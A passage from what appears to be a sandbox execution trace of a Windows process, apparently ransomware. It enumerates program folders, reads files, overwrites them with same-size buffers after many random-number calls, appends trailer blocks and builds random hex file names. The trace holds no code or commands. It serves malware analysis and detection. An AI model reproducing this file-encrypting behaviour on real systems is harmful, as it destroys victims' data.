| out: Seed=0x2d01f550) returned 0x7b7dce2 [0228.186] RtlRandomEx (in: Seed=0x2d01f550 | out: Seed=0x2d01f550) returned 0x26756b8e [0228.186] RtlRandomEx (in: Seed=0x2d01f550 | out: Seed=0x2d01f550) returned 0x5ce6ea3a [0228.186] RtlRandomEx (in: Seed=0x2d01f550 | out: Seed=0x2d01f550) returned 0x4053152 [0228.187] RtlRandomEx (in: Seed=0x2d01f550 | out: Seed=0x2d01f550) returned 0x543f49f2 [0228.187] RtlRandomEx (in: Seed=0x2d01f550 | out: Seed=0x2d01f550) returned 0x85c4a11 [0228.187] RtlRandomEx (in: Seed=0x2d01f550 | out: Seed=0x2d01f550) returned 0x3f95e1a6 [0228.187] RtlRandomEx (in: Seed=0x2d01f550 | out: Seed=0x2d01f550) returned 0x16926fce [0228.187] RtlRandomEx (in: Seed=0x2d01f550 | out: Seed=0x2d01f550) returned 0x632ef43e [0228.187] RtlRandomEx (in: Seed=0x2d01f550 | out: Seed=0x2d01f550) returned 0xaefc725 [0228.187] RtlRandomEx (in: Seed=0x2d01f550 | out: Seed=0x2d01f550) returned 0x53b930bd [0228.187] RtlRandomEx (in: Seed=0x2d01f550 | out: Seed=0x2d01f550) returned 0x5352242c [0228.187] RtlRandomEx (in: Seed=0x2d01f550 | out: Seed=0x2d01f550) returned 0x2702b6d4 [0228.187] RtlRandomEx (in: Seed=0x2d01f550 | out: Seed=0x2d01f550) returned 0x173a3b09 [0228.187] RtlRandomEx (in: Seed=0x2d01f550 | out: Seed=0x2d01f550) returned 0x755bfcb4 [0228.187] RtlRandomEx (in: Seed=0x2d01f550 | out: Seed=0x2d01f550) returned 0x35290a5b [0228.187] RtlRandomEx (in: Seed=0x2d01f550 | out: Seed=0x2d01f550) returned 0x1bc37dce [0228.196] ReadFile (in: hFile=0x2a80, lpBuffer=0x41b6a520, nNumberOfBytesToRead=0x251, lpNumberOfBytesRead=0x2d01f550, lpOverlapped=0x0 | out: lpBuffer=0x41b6a520*, lpNumberOfBytesRead=0x2d01f550*=0x251, lpOverlapped=0x0) returned 1 [0228.196] SetFilePointerEx (in: hFile=0x2a80, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0228.196] WriteFile (in: hFile=0x2a80, lpBuffer=0x41b8c1b0*, nNumberOfBytesToWrite=0x251, lpNumberOfBytesWritten=0x2d01f554, lpOverlapped=0x0 | out: lpBuffer=0x41b8c1b0*, lpNumberOfBytesWritten=0x2d01f554*=0x251, lpOverlapped=0x0) returned 1 [0232.219] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20265430 [0232.220] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266960 [0232.220] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266960) returned 1 [0232.221] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41b8c1b0) returned 1 [0232.221] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41b6a520) returned 1 [0232.221] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86c5c0) returned 1 [0232.221] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce619c0) returned 1 [0232.221] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x20266960 [0232.222] SetFilePointerEx (in: hFile=0x2a80, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0232.222] WriteFile (in: hFile=0x2a80, lpBuffer=0x431a9b50*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x2d01f670, lpOverlapped=0x0 | out: lpBuffer=0x431a9b50*, lpNumberOfBytesWritten=0x2d01f670*=0x108, lpOverlapped=0x0) returned 1 [0236.015] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97620 [0236.016] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869c40 [0236.016] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1c7a0 [0236.016] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1c7a0) returned 1 [0236.016] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x1b82cfe0 [0236.017] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1c7a0 [0236.017] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1c7d0 [0236.017] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1c7d0) returned 1 [0236.018] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869c40) returned 1 [0236.018] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97620) returned 1 [0236.018] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2d) returned 0x1cd9f8b0 [0236.018] sprintf (in: _Dest=0x1cd9f8b0, _Format="%c%c" | out: _Dest="5e") returned 2 [0236.019] sprintf (in: _Dest=0x1cd9f8b2, _Format="%c%c" | out: _Dest="cd") returned 2 [0236.019] sprintf (in: _Dest=0x1cd9f8b4, _Format="%c%c" | out: _Dest="ff") returned 2 [0236.019] sprintf (in: _Dest=0x1cd9f8b6, _Format="%c%c" | out: _Dest="3c") returned 2 [0236.019] sprintf (in: _Dest=0x1cd9f8b8, _Format="%c%c" | out: _Dest="b6") returned 2 [0236.019] sprintf (in: _Dest=0x1cd9f8ba, _Format="%c%c" | out: _Dest="e0") returned 2 [0236.019] sprintf (in: _Dest=0x1cd9f8bc, _Format="%c%c" | out: _Dest="d6") returned 2 [0236.019] sprintf (in: _Dest=0x1cd9f8be, _Format="%c%c" | out: _Dest="9c") returned 2 [0236.019] sprintf (in: _Dest=0x1cd9f8c0, _Format="%c%c" | out: _Dest="0c") returned 2 [0236.019] sprintf (in: _Dest=0x1cd9f8c2, _Format="%c%c" | out: _Dest="90") returned 2 [0236.019] sprintf (in: _Dest=0x1cd9f8c4, _Format="%c%c" | out: _Dest="9e") returned 2 [0236.019] sprintf (in: _Dest=0x1cd9f8c6, _Format="%c%c" | out: _Dest="cf") returned 2 [0236.019] sprintf (in: _Dest=0x1cd9f8c8, _Format="%c%c" | out: _Dest="83") returned 2 [0236.019] sprintf (in: _Dest=0x1cd9f8ca, _Format="%c%c" | out: _Dest="98") returned 2 [0236.019] sprintf (in: _Dest=0x1cd9f8cc, _Format="%c%c" | out: _Dest="b4") returned 2 [0236.019] sprintf (in: _Dest=0x1cd9f8ce, _Format="%c%c" | out: _Dest="47") returned 2 [0236.019] sprintf (in: _Dest=0x1cd9f8d0, _Format="%c%c" | out: _Dest="bd") returned 2 [0236.019] sprintf (in: _Dest=0x1cd9f8d2, _Format="%c%c" | out: _Dest="3c") returned 2 [0236.019] sprintf (in: _Dest=0x1cd9f8d4, _Format="%c%c" | out: _Dest="84") returned 2 [0236.019] sprintf (in: _Dest=0x1cd9f8d6, _Format="%c%c" | out: _Dest="67") returned 2 [0236.019] sprintf (in: _Dest=0x1cd9f8d8, _Format="%c%c" | out: _Dest="e1") returned 2 [0236.019] sprintf (in: _Dest=0x1cd9f8da, _Format="%c%c" | out: _Dest="ae") returned 2 [0236.019] RtlInitAnsiString (in: DestinationString=0x2d01f6e8, SourceString="5ecdff3cb6e0d69c0c909ecf8398b447bd3c8467e1ae" | out: DestinationString="5ecdff3cb6e0d69c0c909ecf8398b447bd3c8467e1ae") [0236.019] RtlAnsiStringToUnicodeString (in: DestinationString=0x2d01f6b8, SourceString="5ecdff3cb6e0d69c0c909ecf8398b447bd3c8467e1ae", AllocateDestinationString=1 | out: DestinationString="5ecdff3cb6e0d69c0c909ecf8398b447bd3c8467e1ae") returned 0x0 [0236.019] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5a) returned 0x4309f6e0 [0236.020] wcscat (in: _Dest=0x423ab730, _Source="5ecdff3cb6e" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\5ecdff3cb6e") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\5ecdff3cb6e" [0236.020] wcscat (in: _Dest=0x423ab730, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\5ecdff3cb6e.2f9b60") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\5ecdff3cb6e.2f9b60" [0236.020] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\5ecdff3cb6e.2f9b60", NtPathName=0x2d01f690, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\5ecdff3cb6e.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0236.020] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xfc) returned 0x431a9b50 Thread: id = 3797 os_tid = 0xe1c [0227.645] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xbc) returned 0x4310ac00 [0227.646] wcscpy (in: _Dest=0x4310ac00, _Source="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic" [0227.646] wcscat (in: _Dest=0x4310ac00, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\" [0227.646] wcscat (in: _Dest=0x4310ac00, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\*") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\*" [0227.646] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x2027ea20 [0227.647] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\*", lpFindFileData=0x2027ea20 | out: lpFindFileData=0x2027ea20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10f5dcf0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x10f5dcf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x10f5dcf0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x431f9ea0 [0227.647] wcscmp (_String1=".", _String2=".") returned 0 [0227.647] FindNextFileW (in: hFindFile=0x431f9ea0, lpFindFileData=0x2027ea20 | out: lpFindFileData=0x2027ea20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10f5dcf0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x10f5dcf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x10f5dcf0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0227.647] wcscmp (_String1="..", _String2=".") returned 1 [0227.647] wcscmp (_String1="..", _String2="..") returned 0 [0227.647] FindNextFileW (in: hFindFile=0x431f9ea0, lpFindFileData=0x2027ea20 | out: lpFindFileData=0x2027ea20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10f5dcf0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x111e5450, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x111e5450, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0227.647] wcscmp (_String1="1033", _String2=".") returned 1 [0227.647] wcscmp (_String1="1033", _String2="..") returned 1 [0227.647] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc2) returned 0x4310b900 [0227.648] wcscpy (in: _Dest=0x4310b900, _Source="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic" [0227.648] wcscat (in: _Dest=0x4310b900, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\" [0227.648] wcscat (in: _Dest=0x4310b900, _Source="1033" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033" [0227.648] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x4310b900, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2dfc [0227.649] FindNextFileW (in: hFindFile=0x431f9ea0, lpFindFileData=0x2027ea20 | out: lpFindFileData=0x2027ea20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10f5dcf0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x111e5450, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x111e5450, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 0 [0227.649] FindClose (in: hFindFile=0x431f9ea0 | out: hFindFile=0x431f9ea0) returned 1 [0227.651] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2027ea20) returned 1 [0227.652] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4310ac00) returned 1 [0227.652] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x107cc0) returned 1 Thread: id = 3798 os_tid = 0x12ec [0227.655] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x78) returned 0x1b86d0c0 [0227.656] wcscpy (in: _Dest=0x1b86d0c0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA" [0227.656] wcscat (in: _Dest=0x1b86d0c0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\" [0227.656] wcscat (in: _Dest=0x1b86d0c0, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\*") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\*" [0227.656] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x2027ea20 [0227.656] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\*", lpFindFileData=0x2027ea20 | out: lpFindFileData=0x2027ea20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81da7fe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81da7fe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81da7fe0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x431f9d80 [0228.819] wcscmp (_String1=".", _String2=".") returned 0 [0228.819] FindNextFileW (in: hFindFile=0x431f9d80, lpFindFileData=0x2027ea20 | out: lpFindFileData=0x2027ea20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81da7fe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81da7fe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81da7fe0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0228.819] wcscmp (_String1="..", _String2=".") returned 1 [0228.819] wcscmp (_String1="..", _String2="..") returned 0 [0228.819] FindNextFileW (in: hFindFile=0x431f9d80, lpFindFileData=0x2027ea20 | out: lpFindFileData=0x2027ea20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81da7fe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.ini", cAlternateFileName="")) returned 1 [0228.819] wcscmp (_String1="eula.ini", _String2=".") returned 1 [0228.819] wcscmp (_String1="eula.ini", _String2="..") returned 1 [0228.819] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x86) returned 0x431067b0 [0228.820] wcscpy (in: _Dest=0x431067b0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA" [0228.820] wcscat (in: _Dest=0x431067b0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\" [0228.820] wcscat (in: _Dest=0x431067b0, _Source="eula.ini" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\eula.ini") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\eula.ini" [0228.820] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\eula.ini" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\fra\\eula.ini")) returned 0x20 [0228.821] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\eula.ini", dwFileAttributes=0x20) returned 1 [0228.822] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\eula.ini" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\fra\\eula.ini"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1eac [0228.823] GetFileSizeEx (in: hFile=0x1eac, lpFileSize=0x2434fe20 | out: lpFileSize=0x2434fe20*=1240) returned 1 [0228.823] SetFilePointerEx (in: hFile=0x1eac, liDistanceToMove=0x4d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0228.823] ReadFile (in: hFile=0x1eac, lpBuffer=0x2434fda0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2434fde8, lpOverlapped=0x0 | out: lpBuffer=0x2434fda0*, lpNumberOfBytesRead=0x2434fde8*=0x4, lpOverlapped=0x0) returned 1 [0228.909] SetFilePointerEx (in: hFile=0x1eac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0228.909] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb3cb0 [0228.909] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb3c50 [0228.909] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb3c20 [0228.910] NtQuerySystemTime (in: CurrentTime=0x2434fce0 | out: CurrentTime=0x2434fce0*=132462178328998000) returned 0x0 [0228.910] RtlRandomEx (in: Seed=0x2434fcd0 | out: Seed=0x2434fcd0) returned 0x65d8df1a [0228.910] RtlRandomEx (in: Seed=0x2434fcd0 | out: Seed=0x2434fcd0) returned 0x3e38b138 [0228.910] RtlRandomEx (in: Seed=0x2434fcd0 | out: Seed=0x2434fcd0) returned 0x13beb88 [0228.910] RtlRandomEx (in: Seed=0x2434fcd0 | out: Seed=0x2434fcd0) returned 0x2cf4fc9b [0228.910] RtlRandomEx (in: Seed=0x2434fcd0 | out: Seed=0x2434fcd0) returned 0x478ad9dd [0228.910] RtlRandomEx (in: Seed=0x2434fcd0 | out: Seed=0x2434fcd0) returned 0x976359b [0228.910] RtlRandomEx (in: Seed=0x2434fcd0 | out: Seed=0x2434fcd0) returned 0x4549a7a1 [0228.910] RtlRandomEx (in: Seed=0x2434fcd0 | out: Seed=0x2434fcd0) returned 0x7102f6c0 [0228.910] RtlRandomEx (in: Seed=0x2434fcd0 | out: Seed=0x2434fcd0) returned 0xb2150fa [0228.910] RtlRandomEx (in: Seed=0x2434fcd0 | out: Seed=0x2434fcd0) returned 0x1a01d033 [0228.910] RtlRandomEx (in: Seed=0x2434fcd0 | out: Seed=0x2434fcd0) returned 0x2bbcd6d2 [0228.910] RtlRandomEx (in: Seed=0x2434fcd0 | out: Seed=0x2434fcd0) returned 0x460f7b86 [0228.910] RtlRandomEx (in: Seed=0x2434fcd0 | out: Seed=0x2434fcd0) returned 0x4bc6599c [0228.910] RtlRandomEx (in: Seed=0x2434fcd0 | out: Seed=0x2434fcd0) returned 0x7da126df [0228.910] RtlRandomEx (in: Seed=0x2434fcd0 | out: Seed=0x2434fcd0) returned 0x38813e72 [0228.910] RtlRandomEx (in: Seed=0x2434fcd0 | out: Seed=0x2434fcd0) returned 0x55770c0c [0228.910] RtlRandomEx (in: Seed=0x2434fcd0 | out: Seed=0x2434fcd0) returned 0x69e86fa1 [0228.910] RtlRandomEx (in: Seed=0x2434fcd0 | out: Seed=0x2434fcd0) returned 0x6942c4eb [0228.910] RtlRandomEx (in: Seed=0x2434fcd0 | out: Seed=0x2434fcd0) returned 0xe275675 [0228.910] RtlRandomEx (in: Seed=0x2434fcd0 | out: Seed=0x2434fcd0) returned 0x3fa918ed [0228.910] RtlRandomEx (in: Seed=0x2434fcd0 | out: Seed=0x2434fcd0) returned 0x6a18efd8 [0228.910] RtlRandomEx (in: Seed=0x2434fcd0 | out: Seed=0x2434fcd0) returned 0x2cb14b5e [0228.910] RtlRandomEx (in: Seed=0x2434fcd0 | out: Seed=0x2434fcd0) returned 0x3a4f1302 [0228.910] RtlRandomEx (in: Seed=0x2434fcd0 | out: Seed=0x2434fcd0) returned 0x74ea1053 [0228.911] RtlRandomEx (in: Seed=0x2434fcd0 | out: Seed=0x2434fcd0) returned 0x1616d888 [0228.911] RtlRandomEx (in: Seed=0x2434fcd0 | out: Seed=0x2434fcd0) returned 0xf48d0d9 [0228.911] RtlRandomEx (in: Seed=0x2434fcd0 | out: Seed=0x2434fcd0) returned 0x1895e448 [0228.911] RtlRandomEx (in: Seed=0x2434fcd0 | out: Seed=0x2434fcd0) returned 0x2b985a45 [0228.911] RtlRandomEx (in: Seed=0x2434fcd0 | out: Seed=0x2434fcd0) returned 0x229f504d [0228.911] RtlRandomEx (in: Seed=0x2434fcd0 | out: Seed=0x2434fcd0) returned 0x2d7617db [0228.911] RtlRandomEx (in: Seed=0x2434fcd0 | out: Seed=0x2434fcd0) returned 0x1481ef04 [0228.911] RtlRandomEx (in: Seed=0x2434fcd0 | out: Seed=0x2434fcd0) returned 0x5a0ff2b6 [0228.921] ReadFile (in: hFile=0x1eac, lpBuffer=0x4207e530, nNumberOfBytesToRead=0x4d8, lpNumberOfBytesRead=0x2434fcd0, lpOverlapped=0x0 | out: lpBuffer=0x4207e530*, lpNumberOfBytesRead=0x2434fcd0*=0x4d8, lpOverlapped=0x0) returned 1 [0228.921] SetFilePointerEx (in: hFile=0x1eac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0228.921] WriteFile (in: hFile=0x1eac, lpBuffer=0x42089960*, nNumberOfBytesToWrite=0x4d8, lpNumberOfBytesWritten=0x2434fcd4, lpOverlapped=0x0 | out: lpBuffer=0x42089960*, lpNumberOfBytesWritten=0x2434fcd4*=0x4d8, lpOverlapped=0x0) returned 1 [0239.114] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4313b9e0 [0239.116] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4313bb90 [0239.117] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4313bb90) returned 1 [0239.117] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42089960) returned 1 [0239.118] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4207e530) returned 1 [0239.118] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8684c0) returned 1 [0239.118] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61dd0) returned 1 [0239.118] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1e) returned 0x4313bb90 [0239.120] SetFilePointerEx (in: hFile=0x1eac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0239.120] WriteFile (in: hFile=0x1eac, lpBuffer=0x1cebcbe0*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2434fdf0, lpOverlapped=0x0 | out: lpBuffer=0x1cebcbe0*, lpNumberOfBytesWritten=0x2434fdf0*=0x102, lpOverlapped=0x0) returned 1 [0242.024] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce62640 [0242.024] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ceba160 [0242.025] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860c30 [0242.025] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b860c30) returned 1 [0242.025] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10) returned 0x1b82cfe0 [0242.026] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860c30 [0242.026] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f7f0 [0242.027] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f7f0) returned 1 [0242.027] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceba160) returned 1 [0242.028] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce62640) returned 1 [0242.028] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x21) returned 0x1b85f7f0 [0242.028] sprintf (in: _Dest=0x1b85f7f0, _Format="%c%c" | out: _Dest="ce") returned 2 [0242.028] sprintf (in: _Dest=0x1b85f7f2, _Format="%c%c" | out: _Dest="83") returned 2 [0242.028] sprintf (in: 